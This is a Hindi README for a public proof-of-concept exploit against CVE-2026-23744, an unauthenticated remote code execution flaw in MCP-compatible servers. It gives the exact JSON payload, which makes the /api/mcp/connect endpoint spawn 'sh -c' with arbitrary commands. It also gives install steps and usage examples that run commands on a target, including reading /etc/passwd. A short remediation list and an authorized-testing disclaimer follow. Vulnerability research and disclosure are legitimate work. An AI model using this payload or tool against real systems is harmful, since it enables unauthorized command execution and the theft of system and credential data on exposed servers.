CVE-2026-23744 — MCP सर्वर अनप्रमाणित RCE

d3vn0mi द्वारा प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट

अवलोकन

CVE-2026-23744 पोर्ट 6274 पर उजागर MCP-संगत सर्वरों में एक अनप्रमाणित रिमोट कोड निष्पादन (RCE) भेद्यता है। /api/mcp/connect एंडपॉइंट एक serverConfig ऑब्जेक्ट स्वीकार करता है जो कॉल करने वालों को एक मनमाना OS कमांड और तर्क निर्दिष्ट करने की अनुमति देता है — बिना किसी प्रमाणीकरण या प्राधिकरण जांच के।

सेवा तक नेटवर्क पहुंच रखने वाला हमलावर MCP सर्वर चलाने वाले उपयोगकर्ता के रूप में मनमाने कमांड निष्पादित कर सकता है।

विवरण	मान
CVE ID	CVE-2026-23744
प्रकार	अनप्रमाणित रिमोट कोड निष्पादन
एंडपॉइंट	`POST /api/mcp/connect`
पोर्ट	6274 (डिफ़ॉल्ट)
गंभीरता	क्रिटिकल

भेद्य पेलोड

{
  "serverConfig": {
    "command": "sh",
    "args": ["-c", "<ATTACKER_COMMAND>"],
    "env": {}
  },
  "serverId": "anything"
}

सर्वर बिना सैनिटाइज़ेशन या एक्सेस नियंत्रण के दिए गए args के साथ आपूर्ति किए गए command को स्पॉन करता है।

इंस्टॉलेशन

git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git
cd CVE-2026-23744-POC
pip install -r requirements.txt

उपयोग

# बेसिक उपयोग
python3 exploit.py -t <TARGET_IP> -c '<COMMAND>'

# कस्टम पोर्ट
python3 exploit.py -t 192.168.1.10 -p 6274 -c 'id > /tmp/pwned.txt'

# पहुंच-क्षमता जांच छोड़ें
python3 exploit.py -t 10.0.0.5 -c 'whoami' --no-check

# कस्टम सर्वर ID
python3 exploit.py -t 127.0.0.1 -c 'cat /etc/passwd' -s my_server

विकल्प

फ़्लैग	विवरण
`-t`, `--target`	लक्ष्य IP या होस्टनाम (आवश्यक)
`-c`, `--command`	निष्पादित करने के लिए OS कमांड (आवश्यक)
`-p`, `--port`	लक्ष्य पोर्ट (डिफ़ॉल्ट: `6274`)
`-s`, `--server-id`	पेलोड में `serverId` मान
`--timeout`	प्रोब टाइमआउट सेकंड में (डिफ़ॉल्ट: `30`)
`--no-check`	प्रारंभिक पहुंच-क्षमता जांच छोड़ें

उपचार

MCP सर्वर को अविश्वसनीय नेटवर्क पर उजागर न करें।
उपलब्ध होते ही विक्रेता पैच लागू करें।
प्रमाणीकरण और नेटवर्क-स्तरीय नियंत्रणों के माध्यम से /api/mcp/connect एंडपॉइंट तक पहुंच प्रतिबंधित करें।
MCP सर्वर प्रक्रिया से अप्रत्याशित प्रोसेस स्पॉनिंग की निगरानी करें।

अस्वीकरण

यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानता है। परीक्षण से पहले हमेशा उचित प्राधिकरण प्राप्त करें।

लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है।

लेखक

d3vn0mi — github.com/d3vn0mi

CVE-2026-23744-POC

सबसे लोकप्रिय